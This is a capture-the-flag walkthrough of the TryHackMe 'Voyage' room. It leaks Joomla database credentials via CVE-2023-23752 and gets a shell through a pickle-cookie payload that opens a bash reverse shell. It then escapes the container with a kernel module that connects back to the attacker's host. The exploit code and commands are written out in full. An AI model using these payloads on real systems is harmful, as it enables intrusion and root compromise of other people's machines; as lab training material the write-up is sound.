Voyage

echo8134
5 min read

Voyage

Pwned Date: 30 Aug 2025
WriteUp By: echo8134
Machine Author: 1337rce
Difficulty: Medium
TryHackMe: Voyage

Synopsis

Voyage is a medium-difficulty Linux room featuring a Joomla CMS with a critical information disclosure vulnerability (CVE-2023-23752). Initial enumeration reveals database credentials through the Joomla API, which provides SSH access to a Docker container. The attack path involves exploiting a Python Flask application with insecure deserialization via pickle-serialized cookies to gain access to a second container. Privilege escalation is achieved by abusing the CAP_SYS_MODULE capability to load a malicious kernel module, escaping the container and gaining root on the host system.

Skills Required

  • Web enumeration and Joomla exploitation
  • Python pickle deserialization
  • Docker container enumeration
  • Linux kernel module exploitation
  • Port forwarding and pivoting

Skills Learned

  • Exploiting Joomla CVE-2023-23752 for information disclosure
  • Crafting malicious pickle payloads for RCE
  • Container escape via CAP_SYS_MODULE capability
  • Kernel module compilation and loading
  • Multi-container lateral movement

Enumeration

Nmap

sudo nmap -sC -sV -vv -oA nmap 10.10.97.151
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
80/tcp   open  http    Apache httpd 2.4.58 ((Ubuntu))
| http-robots.txt: 16 disallowed entries 
|_/joomla/administrator/ /administrator/ /api/ <snip>
|_http-generator: Joomla! - Open Source Content Management
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13

Key findings:

  • Port 22: Standard SSH (OpenSSH 9.6p1)
  • Port 80: Apache running Joomla CMS
  • Port 2222: Second SSH service (OpenSSH 8.2p1)

Web Enumeration

Description

Initial reconnaissance reveals:

  • Joomla CMS installation
  • Forgot username endpoint: /index.php/component/users/remind?Itemid=101
  • Password reset endpoint: /index.php/component/users/reset?Itemid=101
  • No user registration functionality

Joomla Version Discovery

Using Joomscan, we can quickly find out the Joomla version.

[+] Detecting Joomla Version
[++] Joomla 4.2.7

Joomla 4.2.7 identified - searching for vulnerabilities leads to CVE-2023-23752.

Vulnerability Discovery

CVE-2023-23752: Joomla Information Disclosure

Reference:

We discovered a vulnerability in Joomla that exposes sensitive database information via the API. The following command reveals username and password for the database:

Extracting database configuration:

curl -s "http://10.10.97.151/api/index.php/v1/config/application?public=true"
<snip>
"user":"root",
"password":"Roo<snip>",
"db":"joomla_db",
"host":"localhost"
<snip>

Discovered credentials:

  • Database User: root
  • Database Password: Roo<snip>
  • Database Name: joomla_db

Foothold

SSH Access via Port 2222

We use the discovered SSH credentials to gain access to the container running on Port 2222:

ssh [email protected] -p 22
# access denied

ssh [email protected] -p 2222
# Password: Roo<snip>

Upon successful login, we begin container enumeration.

Container Enumeration

Initial enumeration shows that we are in a Docker container. We can confirm this by checking the overlay file system.

root@f5eb774507f2:~# mount | grep docker
overlay on / type overlay <snip>

root@f5eb774507f2:~# hostname
f5eb774507f2

root@f5eb774507f2:~# ip addr
<snip>
inet 192.168.100.10/24 brd 192.168.100.255 scope global eth0

Furthermore, we find the container network: 192.168.100.10/24

Internal Network Discovery

root@f5eb774507f2:~# ls -la
total 24
drwx------ 1 root root 4096 Jun 25 18:02 .
drwxr-xr-x 1 root root 4096 Jun 25 18:01 ..
-rw------- 1 root root   24 Jun 25 18:02 .bash_history
-rw-r--r-- 1 root root 3106 Dec  5  2019 .bashrc
drwx------ 2 root root 4096 Jun 25 18:01 .cache
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile
root@f5eb774507f2:~# cat .bash_history
ls
curl
nmap
socat
exit
root@f5eb774507f2:~# which curl wget nc netcat telnet nmap masscan
/usr/bin/curl
/usr/bin/wget
/usr/bin/nmap

Examining the .bash_historywe can see that nmap was recently used. Furthermore, we can see that nmap is installed.

Doing a quick nmap scan on the earlier discovered container network shows:

root@f5eb774507f2:~# nmap -sn 192.168.100.0/24
<snip>
Nmap scan report for voyage_priv2.joomla-net (192.168.100.12)
Host is up (0.000018s latency).
<snip>

Doing a full scan on the discovered host:

<snip>
root@f5eb774507f2:/tmp# nmap -sV -sC 192.168.100.12
<snip>
PORT STATE SERVICE VERSION
5000/tcp open upnp?
<snip>
| Server: Werkzeug/3.1.3 Python/3.10.12
<snip>
| <title>Tourism Secret Finance Panel</title>
<snip>
  • Port 5000 is open and associated with the upnp (Universal Plug and Play) service
  • HTTP headers in the response include Werkzeug/3.1.3 Python/3.10.12 indicating a Python-based web application.
  • Some additional HTML content

Lateral Movement

Port Forwarding to Access Internal Service

Setting up SSH tunnel:

ssh [email protected] -p 2222 -L 5000:192.168.100.12:5000

Description

Accessing http://localhost:5000 reveals a Flask application with a login panel.

After logging in (any credentials work), we examine the session cookie:

import pickle
import codecs

cookie_hex = '80049526000000000000007d94288c0475736572948c05<snip>'
cookie_bytes = codecs.decode(cookie_hex, 'hex')
data = pickle.loads(cookie_bytes)
print('Cookie data:', data)
# Output: {'user': 'admin', 'revenue': '85000'}

The session cookie (session_data) is a hex-encoded Python pickle (e.g., starts 0x80 0x04 0x95 → pickle PROTO v4/FRAME). Since the server pickle.loads() this value, an attacker-supplied cookie can trigger arbitrary code via __reduce__, i.e., classic insecure deserialization → RCE.

Exploiting Pickle Deserialization

Crafting malicious payload:

import pickle
import os
import binascii

class RCE:
    def __reduce__(self):
        return (os.system, (
            "/bin/bash -c 'bash -i >& /dev/tcp/10.14.109.26/4445 0>&1'",
        ))

payload = pickle.dumps(RCE())
hex_payload = binascii.hexlify(payload).decode()
print(hex_payload)

Intercepting the request with Burp Suite and replacing the session cookie:

session_data=80049554000000000000008c05706f736978948c06<snip>

After triggering the payload, we obtain a shell.

nc -lvnp 4445
# Connection received
root@d221f7bc7bf8:~# cat /root/user.txt

Privilege Escalation

Container Capabilities Analysis

After obtaining a shell, we enumerate the system again. Taking a look at the bash history we can see that the machine was likely exploited before…

root@d221f7bc7bf8:~# cat .bash_history
<snip>
curl 10.10.9.89:9000/hello.c > hello.c
ls
curl 10.10.9.89:9000/Makefile > Makefile
make
ls
mv hello.c revshell.c
ls
make
insmod revshell.ko
<snip>

We can recreate the same attack chain and and upload our own reverse shell payload. As we see in the follow up, this is possible because the system has the capability to load kernel modules (CAP_SYS_MODULE).

After initial enumeration we download deepce.sh and cdk on the machine and check for risky capabilities.

root@d221f7bc7bf8:~# ./deepce.sh
<snip>
[+] Dangerous Capabilities .. Yes
Current: cap_chown,cap_dac_override,<snip>,cap_sys_module,<snip>
root@d221f7bc7bf8:~# ./cdk eva --full
<snip>
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module.

The container has CAP_SYS_MODULE capability, allowing kernel module loading.

Kernel Module Exploitation

Local Compilation Setup

Creating a build environment matching the target kernel:

docker run --rm -it -v "$PWD":/build ubuntu:22.04 bash

# Inside container
apt-get update
echo "deb http://archive.ubuntu.com/ubuntu noble main <snip>" \
    > /etc/apt/sources.list.d/noble.list
apt-get install -y gcc-13 linux-headers-6.8.0-1031-aws

Malicious Kernel Module

Creating revshell.c:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
static char *lhost = "127.0.0.1"; module_param(lhost, charp, 0);
static int   lport = 4444;        module_param(lport, int, 0);

static int __init init_mod(void){
    char cmd[256];
    static char *argv[] = { "/bin/sh", "-c", NULL, NULL };
    static char *envp[] = { "HOME=/", "PATH=<snip>", NULL };
    
    snprintf(cmd, sizeof(cmd),
        "/bin/bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'",
        lhost, lport);
    argv[2] = cmd;
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
<snip>

Makefile:

KVER ?= 6.8.0-1031-aws
obj-m += revshell.o
KDIR := /lib/modules/$(KVER)/build
all:
	$(MAKE) -C $(KDIR) M=$(PWD) CC=gcc-13 modules

Container Escape

Building and deploying:

# Build module
make KVER=6.8.0-1031-aws

# Verify vermagic
strings revshell.ko | grep -i vermagic
# vermagic=6.8.0-1031-aws SMP mod_unload modversions

# Transfer to target
curl -sS http://10.14.109.26:8001/revshell.ko -o /tmp/revshell.ko

# Load module with attacker IP
insmod /tmp/revshell.ko lhost=10.14.109.26 lport=4444

Root Flag

# On attacker machine
nc -lvnp 4444
# Connection from host system

root@tryhackme-2404:/# whoami
root
root@tryhackme-2404:/# cat /root/root.txt